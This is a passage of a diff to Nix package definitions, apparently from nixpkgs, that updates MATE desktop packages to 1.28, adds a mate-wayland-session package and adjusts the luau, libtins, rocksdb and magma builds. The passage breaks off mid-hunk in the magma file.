diff --git a/pkgs/desktops/mate/mate-polkit/default.nix b/pkgs/desktops/mate/mate-polkit/default.nix
index 1adee4c01b0f..827a641d3967 100644
--- a/pkgs/desktops/mate/mate-polkit/default.nix
+++ b/pkgs/desktops/mate/mate-polkit/default.nix
@@ -5,19 +5,18 @@
 , gettext
 , gtk3
 , gobject-introspection
-, libappindicator-gtk3
-, libindicator-gtk3
+, libayatana-appindicator
 , polkit
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "mate-polkit";
-  version = "1.26.1";
+  version = "1.28.1";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "9bewtd/FMwLEBAMkWZjrkSGvP1DnFmagmrc7slRSA1c=";
+    sha256 = "NQod0KjtaiycGDz/KiHzlCmelo/MauLoyTxWXa5gSug=";
   };
 
   nativeBuildInputs = [
@@ -28,8 +27,7 @@ stdenv.mkDerivation rec {
 
   buildInputs = [
     gtk3
-    libappindicator-gtk3
-    libindicator-gtk3
+    libayatana-appindicator
     polkit
   ];
 
diff --git a/pkgs/desktops/mate/mate-power-manager/default.nix b/pkgs/desktops/mate/mate-power-manager/default.nix
index 1bf511d5073f..1eaff61fc1b2 100644
--- a/pkgs/desktops/mate/mate-power-manager/default.nix
+++ b/pkgs/desktops/mate/mate-power-manager/default.nix
@@ -6,6 +6,7 @@
 , glib
 , itstool
 , libxml2
+, mate-desktop
 , mate-panel
 , libnotify
 , libcanberra-gtk3
@@ -21,11 +22,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-power-manager";
-  version = "1.26.1";
+  version = "1.28.1";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "IM2dIu0Eur+Yu1DnGg7F14qKR2KHcjJ4+H2nbKv7EEI=";
+    sha256 = "jr3LdLYH6Ggza6moFGze+Pl7zlNcKwyzv2UMWPce7iE=";
   };
 
   nativeBuildInputs = [
@@ -46,6 +47,7 @@ stdenv.mkDerivation rec {
     dbus-glib
     upower
     polkit
+    mate-desktop
     mate-panel
   ];
 
diff --git a/pkgs/desktops/mate/mate-screensaver/default.nix b/pkgs/desktops/mate/mate-screensaver/default.nix
index 37cf461b78a5..2d2c9bfaf952 100644
--- a/pkgs/desktops/mate/mate-screensaver/default.nix
+++ b/pkgs/desktops/mate/mate-screensaver/default.nix
@@ -8,20 +8,22 @@
 , libXScrnSaver
 , libnotify
 , libxml2
+, mate-desktop
+, mate-menus
+, mate-panel
 , pam
 , systemd
-, mate
 , wrapGAppsHook
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "mate-screensaver";
-  version = "1.26.2";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "2pcAziQUW9VdJJJ+7P5tMdClLq6G5WOyxlBUs1al/34=";
+    sha256 = "ag8kqPhKL5XhARSrU+Y/1KymiKVf3FA+1lDgpBDj6nA=";
   };
 
   nativeBuildInputs = [
@@ -36,11 +38,11 @@ stdenv.mkDerivation rec {
     dbus-glib
     libXScrnSaver
     libnotify
+    mate-desktop
+    mate-menus
+    mate-panel
     pam
     systemd
-    mate.mate-desktop
-    mate.mate-menus
-    mate.mate-panel
   ];
 
   configureFlags = [ "--without-console-kit" ];
diff --git a/pkgs/desktops/mate/mate-sensors-applet/default.nix b/pkgs/desktops/mate/mate-sensors-applet/default.nix
index 7c5988e34503..88fc966edb56 100644
--- a/pkgs/desktops/mate/mate-sensors-applet/default.nix
+++ b/pkgs/desktops/mate/mate-sensors-applet/default.nix
@@ -10,29 +10,26 @@
 , libatasmart
 , libnotify
 , lm_sensors
-, mate
+, mate-panel
 , hicolor-icon-theme
-, wrapGAppsHook
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "mate-sensors-applet";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "0s19r30fsicqvvcnz57lv158pi35w9zn5i7h5hz59224y0zpqhsc";
+    sha256 = "1GU2ZoKvj+uGGCg8l4notw22/RfKj6lQrG9xAQIxWoE=";
   };
 
   nativeBuildInputs = [
     pkg-config
     gettext
     itstool
-    wrapGAppsHook
   ];
 
-  # maybe add nvidia-settings later on
   buildInputs = [
     gtk3
     libxml2
@@ -40,10 +37,12 @@ stdenv.mkDerivation rec {
     libatasmart
     libnotify
     lm_sensors
-    mate.mate-panel
+    mate-panel
     hicolor-icon-theme
   ];
 
+  configureFlags = [ "--enable-in-process" ];
+
   enableParallelBuilding = true;
 
   passthru.updateScript = mateUpdateScript { inherit pname; };
diff --git a/pkgs/desktops/mate/mate-session-manager/default.nix b/pkgs/desktops/mate/mate-session-manager/default.nix
index 443339388f17..c8b0c94f888e 100644
--- a/pkgs/desktops/mate/mate-session-manager/default.nix
+++ b/pkgs/desktops/mate/mate-session-manager/default.nix
@@ -8,11 +8,13 @@
 , systemd
 , libSM
 , libXtst
+, glib
 , gtk3
 , libepoxy
 , polkit
 , hicolor-icon-theme
-, mate
+, mate-desktop
+, mate-screensaver
 , wrapGAppsHook
 , fetchpatch
 , mateUpdateScript
@@ -20,11 +22,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-session-manager";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "W4x9ZEH9nCk8hjiCq2enSTxTzfZOqyfAlFdfQj69Qng=";
+    sha256 = "0yzkWVuh2mUpB3cgPyvIK9lzshSjoECAoe9caJkKLXs=";
   };
 
   patches = [
@@ -48,7 +50,8 @@ stdenv.mkDerivation rec {
     libSM
     libXtst
     gtk3
-    mate.mate-desktop
+    mate-desktop
+    mate-screensaver # for gsm_manager_init
     hicolor-icon-theme
     libepoxy
     polkit
@@ -56,9 +59,11 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
+  env.NIX_CFLAGS_COMPILE = "-I${glib.dev}/include/gio-unix-2.0";
+
   postFixup = ''
     substituteInPlace $out/share/xsessions/mate.desktop \
-      --replace "Exec=mate-session" "Exec=$out/bin/mate-session"
+      --replace-fail "Exec=mate-session" "Exec=$out/bin/mate-session"
   '';
 
   passthru.providedSessions = [ "mate" ];
diff --git a/pkgs/desktops/mate/mate-settings-daemon/default.nix b/pkgs/desktops/mate/mate-settings-daemon/default.nix
index 6d245add0df3..09085ed04869 100644
--- a/pkgs/desktops/mate/mate-settings-daemon/default.nix
+++ b/pkgs/desktops/mate/mate-settings-daemon/default.nix
@@ -4,15 +4,16 @@
 , pkg-config
 , gettext
 , glib
-, dbus-glib
 , libxklavier
 , libcanberra-gtk3
 , libnotify
+, libmatekbd
+, libmatemixer
 , nss
 , polkit
 , dconf
 , gtk3
-, mate
+, mate-desktop
 , pulseaudioSupport ? stdenv.config.pulseaudio or true
 , libpulseaudio
 , wrapGAppsHook
@@ -21,11 +22,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-settings-daemon";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "aX6mW1QpIcK3ZhRSktJo0wCcwtqDFtKnhphpBV5LGFk=";
+    sha256 = "TtfNraqkyZ7//AKCuEEXA7t24HLEHEtXmJ+MW0BhGjo=";
   };
 
   nativeBuildInputs = [
@@ -35,17 +36,16 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
-    dbus-glib
     libxklavier
     libcanberra-gtk3
     libnotify
+    libmatekbd
+    libmatemixer
     nss
     polkit
     gtk3
     dconf
-    mate.mate-desktop
-    mate.libmatekbd
-    mate.libmatemixer
+    mate-desktop
   ] ++ lib.optional pulseaudioSupport libpulseaudio;
 
   configureFlags = lib.optional pulseaudioSupport "--enable-pulse";
diff --git a/pkgs/desktops/mate/mate-system-monitor/default.nix b/pkgs/desktops/mate/mate-system-monitor/default.nix
index a29cc7c18ec7..9408e6529365 100644
--- a/pkgs/desktops/mate/mate-system-monitor/default.nix
+++ b/pkgs/desktops/mate/mate-system-monitor/default.nix
@@ -7,21 +7,21 @@
 , gtkmm3
 , libxml2
 , libgtop
-, libwnck
 , librsvg
 , polkit
 , systemd
 , wrapGAppsHook
+, mate-desktop
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "mate-system-monitor";
-  version = "1.26.3";
+  version = "1.28.1";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "WFthNBX3bucDt7XlK1WWKUKVB+A8kwVKSq3Pb5xlIkk=";
+    sha256 = "QtZj1rkPtTYevBP2VHmD1vHirHXcKuTxysbqYymWWiU=";
   };
 
   nativeBuildInputs = [
@@ -35,13 +35,16 @@ stdenv.mkDerivation rec {
     gtkmm3
     libxml2
     libgtop
-    libwnck
     librsvg
     polkit
     systemd
   ];
 
-  configureFlags = [ "--enable-systemd" ];
+  postPatch = ''
+    # This package does not provide mate-version.xml.
+    substituteInPlace src/sysinfo.cpp \
+      --replace-fail 'DATADIR "/mate-about/mate-version.xml"' '"${mate-desktop}/share/mate-about/mate-version.xml"'
+  '';
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/desktops/mate/mate-terminal/default.nix b/pkgs/desktops/mate/mate-terminal/default.nix
index e2406789df43..76c002c9299d 100644
--- a/pkgs/desktops/mate/mate-terminal/default.nix
+++ b/pkgs/desktops/mate/mate-terminal/default.nix
@@ -16,11 +16,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-terminal";
-  version = "1.26.1";
+  version = "1.28.1";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "fBMCBvC0eIfoySdOc/jBn65RETRXKGmnwjERt4nh4dA=";
+    sha256 = "8TXrGp4q4ieY7LLcGRT9tM/XdOa7ZcAVK+N8xslGnpI=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/desktops/mate/mate-user-guide/default.nix b/pkgs/desktops/mate/mate-user-guide/default.nix
index 5b894c40340c..7dc2e9ad4221 100644
--- a/pkgs/desktops/mate/mate-user-guide/default.nix
+++ b/pkgs/desktops/mate/mate-user-guide/default.nix
@@ -10,11 +10,11 @@
 
 stdenv.mkDerivation rec {
   pname = "mate-user-guide";
-  version = "1.26.2";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "TTK241ZKyPTqqysVSC33+XaXUN+IEavtg30KLn7jgIs=";
+    sha256 = "U+8IFPUGVEYU7WGre+UiHMjTqfFPfvlpjJD+fkYBS54=";
   };
 
   nativeBuildInputs = [
@@ -29,7 +29,7 @@ stdenv.mkDerivation rec {
 
   postPatch = ''
     substituteInPlace mate-user-guide.desktop.in.in \
-      --replace "Exec=yelp" "Exec=${yelp}/bin/yelp"
+      --replace-fail "Exec=yelp" "Exec=${yelp}/bin/yelp"
   '';
 
   enableParallelBuilding = true;
diff --git a/pkgs/desktops/mate/mate-user-share/default.nix b/pkgs/desktops/mate/mate-user-share/default.nix
index 84204e3e34be..3e33e4fd47a4 100644
--- a/pkgs/desktops/mate/mate-user-share/default.nix
+++ b/pkgs/desktops/mate/mate-user-share/default.nix
@@ -5,6 +5,7 @@
 , gettext
 , itstool
 , gtk3
+, caja
 , dbus-glib
 , libnotify
 , libxml2
@@ -21,11 +22,11 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "mate-user-share";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "1wh0b4qw5wzpl7sg44lpwjb9r6xllch3xfz8c2cchl8rcgbh2kph";
+    sha256 = "iYVgmZkXllE0jkl+8I81C4YIG5expKcwQHfurlc5rjg=";
   };
 
   nativeBuildInputs = [
@@ -38,10 +39,10 @@ stdenv.mkDerivation rec {
 
   buildInputs = [
     gtk3
+    caja
     dbus-glib
     libnotify
     libcanberra-gtk3
-    mate.caja
     hicolor-icon-theme
     # Should mod_dnssd and apacheHttpd be runtime dependencies?
     # In gnome-user-share they are not.
diff --git a/pkgs/desktops/mate/mate-utils/default.nix b/pkgs/desktops/mate/mate-utils/default.nix
index cfe24a4888a0..35ce76d7c0fa 100644
--- a/pkgs/desktops/mate/mate-utils/default.nix
+++ b/pkgs/desktops/mate/mate-utils/default.nix
@@ -1,43 +1,34 @@
 { lib
 , stdenv
 , fetchurl
-, fetchpatch
 , pkg-config
 , gettext
 , itstool
 , glib
+, gtk-layer-shell
 , gtk3
 , libxml2
 , libgtop
 , libcanberra-gtk3
 , inkscape
 , udisks2
-, mate
+, mate-desktop
+, mate-panel
 , hicolor-icon-theme
+, wayland
 , wrapGAppsHook
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "mate-utils";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "L1NHWxoJkd1ak9ndpY/KTkFvJZJTWG2UpbEQjxI3BiA=";
+    sha256 = "WESdeg0dkA/wO3jKn36Ywh6X9H/Ca+5/8cYYNPIviNM=";
   };
 
-  patches = [
-    # Hopefully helps "libxml2.treeError: xmlSetProp() failed"
-    # This patch is not part of upstream yet.
-    # https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=919058
-    # https://github.com/mate-desktop/mate-utils/issues/210
-    (fetchpatch {
-      url = "https://salsa.debian.org/debian-mate-team/mate-utils/-/raw/2b43d78f3fdbf0aa50716b62bcada2ef015957c6/debian/patches/1001_fix-gsearchtool-pt-help-translation.patch";
-      sha256 = "SZVpdup/bNv+3hEGQ0L13mgXyNm+wRcL53t9/Oi24wA=";
-    })
-  ];
-
   nativeBuildInputs = [
     pkg-config
     gettext
@@ -47,15 +38,28 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    gtk-layer-shell
     gtk3
     libgtop
     libcanberra-gtk3
     libxml2
     udisks2
-    mate.mate-panel
+    mate-desktop
+    mate-panel
     hicolor-icon-theme
+    wayland
   ];
 
+  postPatch = ''
+    # Workaround undefined version requirements
+    # https://github.com/mate-desktop/mate-utils/issues/361
+    substituteInPlace configure \
+      --replace-fail '>= $GTK_LAYER_SHELL_REQUIRED_VERSION' "" \
+      --replace-fail '>= $GDK_WAYLAND_REQUIRED_VERSION' ""
+  '';
+
+  configureFlags = [ "--enable-wayland" ];
+
   env.NIX_CFLAGS_COMPILE = "-I${glib.dev}/include/gio-unix-2.0";
 
   enableParallelBuilding = true;
diff --git a/pkgs/desktops/mate/mate-wayland-session/default.nix b/pkgs/desktops/mate/mate-wayland-session/default.nix
new file mode 100644
index 000000000000..b803caa7048f
--- /dev/null
+++ b/pkgs/desktops/mate/mate-wayland-session/default.nix
@@ -0,0 +1,58 @@
+{ stdenvNoCC
+, lib
+, fetchFromGitHub
+, meson
+, ninja
+, glib
+, mate-polkit
+, mate-notification-daemon
+, wayfire
+, wayfirePlugins
+, gitUpdater
+}:
+
+stdenvNoCC.mkDerivation rec {
+  pname = "mate-wayland-session";
+  version = "1.28.3";
+
+  src = fetchFromGitHub {
+    owner = "mate-desktop";
+    repo = "mate-wayland-session";
+    rev = "v${version}";
+    hash = "sha256-sUAq2BylsvjYn8Lt+nm4yIfVhzIEefxKZYnhJnuxjs0=";
+  };
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    glib
+  ];
+
+  postPatch = ''
+    substituteInPlace session/mate-wayland-components.sh \
+      --replace-fail "polkit-mate-authentication-agent-1" "${mate-polkit}/libexec/polkit-mate-authentication-agent-1" \
+      --replace-fail "mate-notification-daemon" "${mate-notification-daemon}/libexec/mate-notification-daemon" \
+      --replace-fail "cat /usr/bin/blueman-applet" "command -v blueman-applet" \
+      --replace-fail "cat /usr/bin/gnome-keyring-daemon" "command -v gnome-keyring-daemon"
+
+    # Ensure wayfire.ini is writable, as this script tries to modify it later.
+    substituteInPlace session/mate-wayland.sh \
+      --replace-fail "cp /usr/share/doc/wayfire/examples/wayfire.ini" "cp --no-preserve=mode,ownership ${wayfire.src}/wayfire.ini" \
+      --replace-fail "/usr/share/doc/wayfire/examples/wayfire.ini" "${wayfire.src}/wayfire.ini" \
+      --replace-fail "/usr/lib/x86_64-linux-gnu/wayfire/libfiredecor.so" "${wayfirePlugins.firedecor}/lib/wayfire/libfiredecor.so" \
+      --replace-fail "/usr/share/doc/firedecor/firedecor.config" "$out/share/doc/firedecor/firedecor.config"
+  '';
+
+  passthru = {
+    providedSessions = [ "MATE" ];
+    updateScript = gitUpdater { rev-prefix = "v"; };
+  };
+
+  meta = with lib; {
+    description = "Wayland session using Wayfire for the MATE desktop";
+    homepage = "https://mate-desktop.org";
+    license = licenses.gpl2Plus;
+    platforms = platforms.unix;
+    maintainers = teams.mate.members;
+  };
+}
diff --git a/pkgs/desktops/mate/mozo/default.nix b/pkgs/desktops/mate/mozo/default.nix
index 3b0618bc41ac..94426da24178 100644
--- a/pkgs/desktops/mate/mozo/default.nix
+++ b/pkgs/desktops/mate/mozo/default.nix
@@ -3,7 +3,7 @@
 , fetchurl
 , pkg-config
 , gettext
-, mate
+, mate-menus
 , gtk3
 , glib
 , wrapGAppsHook
@@ -13,14 +13,14 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "mozo";
-  version = "1.26.2";
+  version = "1.28.0";
 
   format = "other";
   doCheck = false;
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "RyxILg7y+xYp5h4X2qoaSH9kOSsCmEncmkCCr7OLye4=";
+    sha256 = "/piYT/1qqMNtBZS879ugPeObQtQeAHJRaAOE8870SSQ=";
   };
 
   nativeBuildInputs = [
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
   ];
 
   propagatedBuildInputs = [
-    mate.mate-menus
+    mate-menus
     python3.pkgs.pygobject3
   ];
 
diff --git a/pkgs/desktops/mate/pluma/default.nix b/pkgs/desktops/mate/pluma/default.nix
index ed7d54e9469b..98985a28564f 100644
--- a/pkgs/desktops/mate/pluma/default.nix
+++ b/pkgs/desktops/mate/pluma/default.nix
@@ -9,7 +9,6 @@
 , enchant
 , libxml2
 , python3
-, adwaita-icon-theme
 , gtksourceview4
 , libpeas
 , mate-desktop
@@ -19,11 +18,11 @@
 
 stdenv.mkDerivation rec {
   pname = "pluma";
-  version = "1.26.1";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "WVns49cRjhBmWfZNIC0O0XY60Qu7ul0qzYy/ui45lPE=";
+    sha256 = "qorflYk0UJOlDjCyft5KeKJCHRcnwn9GX8h8Q1llodQ=";
   };
 
   nativeBuildInputs = [
@@ -37,7 +36,6 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
-    adwaita-icon-theme
     enchant
     gtksourceview4
     libpeas
diff --git a/pkgs/desktops/mate/python-caja/default.nix b/pkgs/desktops/mate/python-caja/default.nix
index b9c58d8d9268..7f668cdde996 100644
--- a/pkgs/desktops/mate/python-caja/default.nix
+++ b/pkgs/desktops/mate/python-caja/default.nix
@@ -3,19 +3,19 @@
 , fetchurl
 , pkg-config
 , gettext
+, caja
 , gtk3
-, mate
 , python3Packages
 , mateUpdateScript
 }:
 
 stdenv.mkDerivation rec {
   pname = "python-caja";
-  version = "1.26.0";
+  version = "1.28.0";
 
   src = fetchurl {
     url = "https://pub.mate-desktop.org/releases/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "181zcs1pi3762chm4xraqs8048jm7jzwnvgwla1v3z2nqzpp3xr1";
+    sha256 = "sFbCOdvf4z7QzIQx+zUAqTj3h7Weh19f+TV4umb2gNY=";
   };
 
   nativeBuildInputs = [
@@ -25,8 +25,8 @@ stdenv.mkDerivation rec {
   ];
 
   buildInputs = [
+    caja
     gtk3
-    mate.caja
     python3Packages.python
     python3Packages.pygobject3
   ];
diff --git a/pkgs/development/interpreters/luau/default.nix b/pkgs/development/interpreters/luau/default.nix
index cf35e8536118..80a696179693 100644
--- a/pkgs/development/interpreters/luau/default.nix
+++ b/pkgs/development/interpreters/luau/default.nix
@@ -2,13 +2,13 @@
 
 stdenv.mkDerivation rec {
   pname = "luau";
-  version = "0.616";
+  version = "0.617";
 
   src = fetchFromGitHub {
     owner = "luau-lang";
     repo = "luau";
     rev = version;
-    hash = "sha256-MmyVBriesSXxMw1KLvRbNhTUKZFCCV3BawAKmGMnhfs=";
+    hash = "sha256-5lWEihumXSyBsEOOb/oIz7NTgbdcI9C58m9h/d0MPRk=";
   };
 
   nativeBuildInputs = [ cmake ];
diff --git a/pkgs/development/libraries/libtins/0001-force-cpp-14.patch b/pkgs/development/libraries/libtins/0001-force-cpp-14.patch
new file mode 100644
index 000000000000..3426713a07e3
--- /dev/null
+++ b/pkgs/development/libraries/libtins/0001-force-cpp-14.patch
@@ -0,0 +1,26 @@
+This change bypasses all the code that attempts to see which C++11 features are enabled in your specific C++11 compiler.  C++14 is required for gtest 1.13+.
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 902233e676ee..49ac8a1010a4 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -103,17 +103,9 @@ ENDIF()
+ # C++11 support
+ OPTION(LIBTINS_ENABLE_CXX11 "Compile libtins with c++11 features" ON)
+ IF(LIBTINS_ENABLE_CXX11)
+-    # We only use declval and decltype on gcc/clang as VC fails to build that code,
+-    # at least on VC2013
+-    IF(HAS_CXX11_RVALUE_REFERENCES AND HAS_CXX11_FUNCTIONAL AND HAS_CXX11_CHRONO AND
+-       HAS_CXX11_NOEXCEPT AND ((HAS_CXX11_DECLVAL AND HAS_CXX11_DECLTYPE) OR MSVC))
+-        SET(TINS_HAVE_CXX11 ON)
+-        MESSAGE(STATUS "Enabling C++11 features")
+-        SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${CXX11_COMPILER_FLAGS}")
+-    ELSE()
+-        MESSAGE(WARNING "The compiler doesn't support the necessary C++11 features. "
+-                        "Disabling C++11 on this build")
+-    ENDIF()
++    SET(TINS_HAVE_CXX11 ON)
++    MESSAGE(STATUS "Using C++11 features")
++    SET(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++14")
+ ELSE(LIBTINS_ENABLE_CXX11)
+     MESSAGE(
+         WARNING
diff --git a/pkgs/development/libraries/libtins/default.nix b/pkgs/development/libraries/libtins/default.nix
index b27ad6634797..1533794bcd1e 100644
--- a/pkgs/development/libraries/libtins/default.nix
+++ b/pkgs/development/libraries/libtins/default.nix
@@ -20,6 +20,8 @@ stdenv.mkDerivation rec {
       url = "https://github.com/mfontanini/libtins/commit/812be7966d445ec56e88eab512f8fd2d57152427.patch";
       hash = "sha256-5RCFPe95r1CBrAocjTPR2SvUlgaGa1aBc8RazyxUj3M=";
     })
+    # Required for gtest 1.13+.
+    ./0001-force-cpp-14.patch
   ];
 
   postPatch = ''
diff --git a/pkgs/development/libraries/rocksdb/default.nix b/pkgs/development/libraries/rocksdb/default.nix
index c25a349ba32d..6c2aaaa8815a 100644
--- a/pkgs/development/libraries/rocksdb/default.nix
+++ b/pkgs/development/libraries/rocksdb/default.nix
@@ -39,20 +39,9 @@ stdenv.mkDerivation (finalAttrs: {
     "tools"
   ];
 
-  env.NIX_CFLAGS_COMPILE = toString (lib.optionals stdenv.cc.isGNU [
-    "-Wno-error=deprecated-copy"
-    "-Wno-error=pessimizing-move"
-    # Needed with GCC 12
-    "-Wno-error=format-truncation"
-    "-Wno-error=maybe-uninitialized"
-  ] ++ lib.optionals stdenv.cc.isClang [
-    "-Wno-error=unused-private-field"
-    "-faligned-allocation"
-  ] ++ lib.optionals (lib.versionOlder finalAttrs.version "8") [
-    "-Wno-error=unused-but-set-variable"
-  ] ++ lib.optionals (lib.versionOlder finalAttrs.version "7") [
-    "-Wno-error=deprecated-copy"
-  ]);
+ env.NIX_CFLAGS_COMPILE = toString (lib.optionals stdenv.cc.isClang [
+   "-faligned-allocation"
+ ]);
 
   cmakeFlags = [
     "-DPORTABLE=1"
@@ -71,12 +60,25 @@ stdenv.mkDerivation (finalAttrs: {
     "-DUSE_RTTI=1"
     "-DROCKSDB_INSTALL_ON_WINDOWS=YES" # harmless elsewhere
     (lib.optional sse42Support "-DFORCE_SSE42=1")
-    "-DFAIL_ON_WARNINGS=${if stdenv.hostPlatform.isMinGW then "NO" else "YES"}"
+    "-DFAIL_ON_WARNINGS=NO"
   ] ++ lib.optional (!enableShared) "-DROCKSDB_BUILD_SHARED=0";
 
   # otherwise "cc1: error: -Wformat-security ignored without -Wformat [-Werror=format-security]"
   hardeningDisable = lib.optional stdenv.hostPlatform.isWindows "format";
 
+  postPatch = lib.optionalString (lib.versionOlder finalAttrs.version "8") ''
+    # Fix gcc-13 build failures due to missing <cstdint> and
+    # <system_error> includes, fixed upstyream sice 8.x
+    sed -e '1i #include <cstdint>' -i db/compaction/compaction_iteration_stats.h
+    sed -e '1i #include <cstdint>' -i table/block_based/data_block_hash_index.h
+    sed -e '1i #include <cstdint>' -i util/string_util.h
+    sed -e '1i #include <cstdint>' -i include/rocksdb/utilities/checkpoint.h
+  '' + lib.optionalString (lib.versionOlder finalAttrs.version "7") ''
+    # Fix gcc-13 build failures due to missing <cstdint> and
+    # <system_error> includes, fixed upstyream sice 7.x
+    sed -e '1i #include <system_error>' -i third-party/folly/folly/synchronization/detail/ProxyLockable-inl.h
+  '';
+
   preInstall = ''
     mkdir -p $tools/bin
     cp tools/{ldb,sst_dump}${stdenv.hostPlatform.extensions.executable} $tools/bin/
diff --git a/pkgs/development/libraries/science/math/magma/generic.nix b/pkgs/development/libraries/science/math/magma/generic.nix
index 7ef60e0418ed..a2ccc2e1c5b5 100644
--- a/pkgs/development/libraries/science/math/magma/generic.nix
+++ b/pkgs/development/libraries/science/math/magma/generic.nix
@@ -5,13 +5,14 @@
 #  supportedGpuTargets: List String
 # }
 
-{ blas
+{ autoPatchelfHook
+, blas
 , cmake
+, cudaPackages_11 ? null
 , cudaPackages
 , cudaSupport ? config.cudaSupport
 , fetchurl
 , gfortran
-, cudaCapabilities ? cudaPackages.cudaFlags.cudaCapabilities
 , gpuTargets ? [ ] # Non-CUDA targets, that is HIP
 , rocmPackages
 , lapack
@@ -19,21 +20,30 @@
 , libpthreadstubs
 , magmaRelease
 , ninja
+, python3
 , config
   # At least one back-end has to be enabled,
   # and we can't default to CUDA since it's unfree
 , rocmSupport ? !cudaSupport
 , static ? stdenv.hostPlatform.isStatic
 , stdenv
-, symlinkJoin
 }:
 
 
 let
   inherit (lib) lists strings trivial;
-  inherit (cudaPackages) backendStdenv cudaFlags cudaVersion;
   inherit (magmaRelease) version hash supportedGpuTargets;
 
+  # Per https://icl.utk.edu/magma/downloads, support for CUDA 12 wasn't added until 2.7.1.
+  # If we're building a version prior to that, use the latest release of the 11.x series.
+  effectiveCudaPackages =
+    if strings.versionOlder version "2.7.1"
+    then cudaPackages_11
+    else cudaPackages;
+
+  inherit (effectiveCudaPackages) cudaAtLeast cudaFlags cudaOlder;
+  inherit (cudaFlags) cudaCapabilities;
+
   # NOTE: The lists.subtractLists function is perhaps a bit unintuitive. It subtracts the elements
   #   of the first list *from* the second list. That means:
   #   lists.subtractLists a b = b - a
@@ -95,19 +105,34 @@ stdenv.mkDerivation {
     inherit hash;
   };
 
+  # Magma doesn't have anything which could be run under doCheck, but it does build test suite executables.
+  # These are moved to $test/bin/ and $test/lib/ in postInstall.
+  outputs = ["out" "test"];
+
+  # Fixup for the python test runners
+  postPatch = ''
+    patchShebangs ./testing/run_{tests,summarize}.py
+    substituteInPlace ./testing/run_tests.py \
+      --replace-fail \
+        "print >>sys.stderr, cmdp, \"doesn't exist (original name: \" + cmd + \", precision: \" + precision + \")\"" \
+        "print(f\"{cmdp} doesn't exist (original name: {cmd}, precision: {precision})\", file=sys.stderr)"
+  '';
+
   nativeBuildInputs = [
+    autoPatchelfHook
     cmake
     ninja
     gfortran
   ] ++ lists.optionals cudaSupport [
-    cudaPackages.cuda_nvcc
+    effectiveCudaPackages.cuda_nvcc
   ];
 
   buildInputs = [
     libpthreadstubs
     lapack
     blas
-  ] ++ lists.optionals cudaSupport (with cudaPackages; [
+    python3
+  ] ++ lists.optionals cudaSupport (with effectiveCudaPackages; [
     cuda_cudart.dev # cuda_runtime.h
     cuda_cudart.lib # cudart
     cuda_cudart.static # cudart_static
@@ -115,11 +140,11 @@ stdenv.mkDerivation {
     libcublas.lib # cublas
     libcusparse.dev # cusparse.h
     libcusparse.lib # cusparse
-  ] ++ lists.optionals (strings.versionOlder cudaVersion "11.8") [
+  ] ++ lists.optionals (cudaOlder "11.8") [
     cuda_nvprof.dev # <cuda_profiler_api.h>
-  ] ++ lists.optionals (strings.versionAtLeast cudaVersion "11.8") [
+  ] ++ lists.optionals (cudaAtLeast "11.8") [
     cuda_profiler_api.dev # <cuda_profiler_api.h>
